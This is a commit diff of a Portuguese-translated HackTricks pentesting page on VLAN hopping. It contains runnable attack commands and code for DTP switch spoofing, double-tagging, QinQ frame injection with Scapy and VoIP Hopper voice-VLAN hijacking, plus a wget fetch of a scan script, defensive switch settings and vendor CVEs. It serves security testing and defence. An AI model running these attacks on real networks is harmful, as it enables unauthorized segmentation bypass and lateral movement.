mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-methodologies-and-resources/pentesting-network/
This commit is contained in:
parent
54dc577188
commit
42863abb36
@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Se o acesso direto a um switch estiver disponível, a segmentação de VLAN pode ser contornada. Isso envolve reconfigurar a porta conectada para o modo trunk, estabelecendo interfaces virtuais para as VLANs alvo e definindo endereços IP, seja dinamicamente (DHCP) ou estaticamente, dependendo do cenário (**para mais detalhes, consulte [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)).**
|
||||
Se o acesso direto a um switch estiver disponível, a segmentação de VLAN pode ser contornada. Isso envolve reconfigurar a porta conectada para o modo trunk, estabelecer interfaces virtuais para as VLANs alvo e definir endereços IP, seja dinamicamente (DHCP) ou estaticamente, dependendo do cenário (**para mais detalhes, consulte [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)).**
|
||||
|
||||
Inicialmente, é necessário identificar a porta conectada específica. Isso pode ser tipicamente realizado através de mensagens CDP ou procurando pela porta via a máscara **include**.
|
||||
|
||||
@ -24,6 +24,7 @@ Mudar para o modo trunk irá interromper temporariamente a conectividade, mas is
|
||||
|
||||
Interfaces virtuais são então criadas, atribuídas IDs de VLAN e ativadas:
|
||||
```bash
|
||||
# Legacy (vconfig) – still works but deprecated in modern kernels
|
||||
sudo vconfig add eth0 10
|
||||
sudo vconfig add eth0 20
|
||||
sudo vconfig add eth0 50
|
||||
@ -32,17 +33,26 @@ sudo ifconfig eth0.10 up
|
||||
sudo ifconfig eth0.20 up
|
||||
sudo ifconfig eth0.50 up
|
||||
sudo ifconfig eth0.60 up
|
||||
|
||||
# Modern (ip-link – preferred)
|
||||
sudo modprobe 8021q
|
||||
sudo ip link add link eth0 name eth0.10 type vlan id 10
|
||||
sudo ip link add link eth0 name eth0.20 type vlan id 20
|
||||
sudo ip link set eth0.10 up
|
||||
sudo ip link set eth0.20 up
|
||||
sudo dhclient -v eth0.50
|
||||
sudo dhclient -v eth0.60
|
||||
```
|
||||
Em seguida, uma solicitação de endereço é feita via DHCP. Alternativamente, em casos onde o DHCP não é viável, os endereços podem ser configurados manualmente:
|
||||
```bash
|
||||
sudo dhclient -v eth0.10
|
||||
sudo dhclient -v eth0.20
|
||||
sudo dhclient -v eth0.50
|
||||
sudo dhclient -v eth0.60
|
||||
```
|
||||
Exemplo de configuração manual de um endereço IP estático em uma interface (VLAN 10):
|
||||
```bash
|
||||
sudo ifconfig eth0.10 10.10.10.66 netmask 255.255.255.0
|
||||
# or
|
||||
sudo ip addr add 10.10.10.66/24 dev eth0.10
|
||||
```
|
||||
A conectividade é testada iniciando solicitações ICMP para os gateways padrão das VLANs 10, 20, 50 e 60.
|
||||
|
||||
@ -52,31 +62,38 @@ Em última análise, esse processo permite contornar a segmentação de VLAN, fa
|
||||
|
||||
## Outras Técnicas de VLAN-Hopping (sem CLI privilegiada do switch)
|
||||
|
||||
O método anterior assume acesso autenticado ao console ou Telnet/SSH do switch. Em engajamentos do mundo real, o atacante geralmente está conectado a uma **porta de acesso regular**. Os seguintes truques de Camada 2 frequentemente permitem que você faça um pivot lateral sem nunca fazer login no sistema operacional do switch:
|
||||
O método anterior assume acesso autenticado ao console ou Telnet/SSH do switch. Em engajamentos do mundo real, o atacante geralmente está conectado a uma **porta de acesso regular**. Os seguintes truques de Camada 2 frequentemente permitem que você faça pivotagem lateral sem nunca fazer login no sistema operacional do switch:
|
||||
|
||||
### 1. Spoofing de Switch com Protocolo de Trunking Dinâmico (DTP)
|
||||
### 1. Switch-Spoofing com Protocolo de Trunking Dinâmico (DTP)
|
||||
|
||||
Switches Cisco que mantêm o DTP habilitado negociarão felizmente um trunk se o par afirmar ser um switch. Criar um único quadro **DTP “desejável”** ou **“trunk”** converte a porta de acesso em um trunk 802.1Q que transporta *todas* as VLANs permitidas.
|
||||
|
||||
*Yersinia* e vários PoCs automatizam o processo:
|
||||
```bash
|
||||
# Become a trunk using Yersinia (GUI)
|
||||
$ sudo yersinia -G # Launch GUI → Launch attack → DTP → enabling trunking
|
||||
sudo yersinia -G # Launch GUI → Launch attack → DTP → enabling trunking
|
||||
|
||||
# Python PoC (dtp-spoof)
|
||||
$ git clone https://github.com/fleetcaptain/dtp-spoof.git
|
||||
$ sudo python3 dtp-spoof/dtp-spoof.py -i eth0 --desirable
|
||||
git clone https://github.com/fleetcaptain/dtp-spoof.git
|
||||
sudo python3 dtp-spoof/dtp-spoof.py -i eth0 --desirable
|
||||
```
|
||||
Uma vez que a porta muda para trunk, você pode criar subinterfaces 802.1Q e pivotar exatamente como mostrado na seção anterior. Kernels modernos do Linux não requerem mais *vconfig*; em vez disso, use *ip link*:
|
||||
Recon helper (identificar passivamente o estado DTP da porta):
|
||||
```bash
|
||||
sudo modprobe 8021q
|
||||
sudo ip link add link eth0 name eth0.30 type vlan id 30
|
||||
sudo ip addr add 10.10.30.66/24 dev eth0.30
|
||||
sudo ip link set eth0.30 up
|
||||
```
|
||||
### 2. Double-Tagging (Abuso de Native-VLAN)
|
||||
|
||||
Se o atacante estiver na **VLAN nativa (sem tag)**, um quadro elaborado com *dois* cabeçalhos 802.1Q pode "pular" para uma segunda VLAN, mesmo quando a porta está bloqueada em modo de acesso. Ferramentas como **VLANPWN DoubleTagging.py** (atualização de 2022-2024) automatizam a injeção:
|
||||
# or
|
||||
|
||||
wget https://gist.githubusercontent.com/mgeeky/3f678d385984ba0377299a844fb793fa/raw/dtpscan.py
|
||||
sudo python3 dtpscan.py -i eth0
|
||||
```
|
||||
Uma vez que a porta muda para trunk, você pode criar subinterfaces 802.1Q e pivotar exatamente como mostrado na seção anterior.
|
||||
|
||||
### 2. Double-Tagging (Abuso de VLAN Nativa)
|
||||
|
||||
Se o atacante estiver na **VLAN nativa (sem tag)**, um quadro elaborado com *duas* cabeçalhos 802.1Q pode pular para uma segunda VLAN, mesmo quando a porta está bloqueada em modo de acesso. Ferramentas como **VLANPWN DoubleTagging.py** (atualização de 2022-2025) automatizam a injeção:
|
||||
```bash
|
||||
python3 DoubleTagging.py \
|
||||
--interface eth0 \
|
||||
@ -85,15 +102,9 @@ python3 DoubleTagging.py \
|
||||
--victim 10.10.20.24 \
|
||||
--attacker 10.10.1.54
|
||||
```
|
||||
Packet walk-through:
|
||||
1. A tag externo (1) é removido pelo primeiro switch porque corresponde à VLAN nativa.
|
||||
2. A tag interna (20) agora está exposta; o quadro é encaminhado para o tronco em direção à VLAN 20.
|
||||
|
||||
A técnica ainda funciona em 2025 em redes que mantêm a VLAN nativa como padrão e aceitam quadros não marcados.
|
||||
|
||||
### 3. Empilhamento QinQ (802.1ad)
|
||||
|
||||
Muitos núcleos empresariais suportam encapsulamento de provedor de serviço *Q-in-Q*. Onde permitido, um atacante pode encapsular tráfego arbitrário marcado com 802.1Q dentro de um provedor (S-tag) para cruzar zonas de segurança. Capture para o ethertype 802.1ad 0x88a8 e tente remover a tag externa com Scapy:
|
||||
Muitos núcleos empresariais suportam encapsulamento de provedor de serviços *Q-in-Q*. Onde permitido, um atacante pode encapsular tráfego etiquetado com 802.1Q arbitrário dentro de um provedor (S-tag) para cruzar zonas de segurança. Capture para ethertype `0x88a8` e tente remover a etiqueta externa com Scapy:
|
||||
```python
|
||||
from scapy.all import *
|
||||
outer = 100 # Service tag
|
||||
@ -102,22 +113,52 @@ payload = Ether(dst="ff:ff:ff:ff:ff:ff")/Dot1Q(vlan=inner)/IP(dst="10.10.30.1")/
|
||||
frame = Dot1Q(type=0x88a8, vlan=outer)/payload
|
||||
sendp(frame, iface="eth0")
|
||||
```
|
||||
### 4. Sequestro de Voice-VLAN via LLDP/CDP (Spoofing de IP-Phone)
|
||||
|
||||
As portas de acesso corporativas geralmente estão em uma configuração *“acesso + voz”*: VLAN de dados não marcada para a estação de trabalho e uma VLAN de voz marcada anunciada através do CDP ou LLDP-MED. Ao se passar por um telefone IP, o atacante pode descobrir automaticamente e pular para a VLAN VoIP—mesmo quando o DTP está desativado.
|
||||
|
||||
*VoIP Hopper* (embalado no Kali 2025.2) suporta CDP, opções DHCP **176/242**, e spoofing completo de LLDP-MED:
|
||||
```bash
|
||||
# One-shot discovery & hop
|
||||
sudo voiphopper -i eth0 -f cisco-7940
|
||||
|
||||
# Interactive Assessment Mode (passive sniff → auto-hop when VVID learnt)
|
||||
sudo voiphopper -i eth0 -z
|
||||
|
||||
# Result: new sub-interface eth0.<VVID> with a DHCP or static address inside the voice VLAN
|
||||
```
|
||||
A técnica contorna a separação de dados/voz e é extremamente comum em switches de borda corporativos em 2025, pois o auto-política LLDP está habilitado por padrão em muitos modelos.
|
||||
|
||||
---
|
||||
|
||||
## Recomendações Defensivas
|
||||
|
||||
1. Desative o DTP em todas as portas voltadas para o usuário: `switchport mode access` + `switchport nonegotiate`.
|
||||
2. Altere a VLAN nativa em cada trunk para uma **VLAN não utilizada, black-hole** e a marque: `vlan dot1q tag native`.
|
||||
3. Remova VLANs desnecessárias nos trunks: `switchport trunk allowed vlan 10,20`.
|
||||
4. Aplique segurança de porta, DHCP snooping e inspeção ARP dinâmica para limitar atividades Layer-2 indesejadas.
|
||||
5. Prefira private-VLANs ou segmentação L3 em vez de depender apenas da separação 802.1Q.
|
||||
2. Altere a VLAN nativa em cada trunk para uma **VLAN de buraco negro não utilizada** e a marque: `vlan dot1q tag native`.
|
||||
3. Prune VLANs desnecessárias em trunks: `switchport trunk allowed vlan 10,20`.
|
||||
4. Aplique segurança de porta, DHCP snooping, inspeção dinâmica de ARP **e 802.1X** para limitar a atividade Layer-2 não autorizada.
|
||||
5. Desative as políticas de voz automáticas LLDP-MED (ou bloqueie-as para MAC OUIs autenticados) se o spoofing de telefone IP não for necessário.
|
||||
6. Prefira VLANs privadas ou segmentação L3 em vez de depender apenas da separação 802.1Q.
|
||||
|
||||
---
|
||||
|
||||
## Vulnerabilidades de Fornecedores no Mundo Real (2022-2024)
|
||||
|
||||
Mesmo uma configuração de switch perfeitamente endurecida pode ser comprometida por bugs de firmware. Exemplos recentes incluem:
|
||||
|
||||
* **CVE-2022-20728† – Cisco Aironet/Catalyst Access Points** permitem injeção da VLAN nativa em VLANs WLAN não nativas, contornando a segmentação com fio/sem fio.
|
||||
* **CVE-2024-20465 (Cisco IOS Industrial Ethernet)** permite contorno de ACLs em SVIs após alternar o Protocolo Ethernet Resiliente, vazando tráfego entre VRFs/VLANs. Patch 17.9.5 ou posterior.
|
||||
|
||||
Sempre monitore os avisos do fornecedor para problemas de contorno/ACL relacionados a VLAN e mantenha as imagens da infraestrutura atualizadas.
|
||||
|
||||
---
|
||||
|
||||
## Referências
|
||||
|
||||
- [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
|
||||
- Conjunto de ferramentas de ataque VLANPWN – <https://github.com/casterbytethrowback/VLANPWN>
|
||||
- Twingate "O que é VLAN Hopping?" (Ago 2024) – <https://www.twingate.com/blog/glossary/vlan%20hopping>
|
||||
- VLANPWN attack toolkit – <https://github.com/casterbytethrowback/VLANPWN>
|
||||
- Twingate "What is VLAN Hopping?" (Aug 2024) – <https://www.twingate.com/blog/glossary/vlan%20hopping>
|
||||
- VoIP Hopper project – <https://github.com/hmgh0st/voiphopper>
|
||||
- Cisco Advisory “cisco-sa-apvlan-TDTtb4FY” – <https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-apvlan-TDTtb4FY>
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user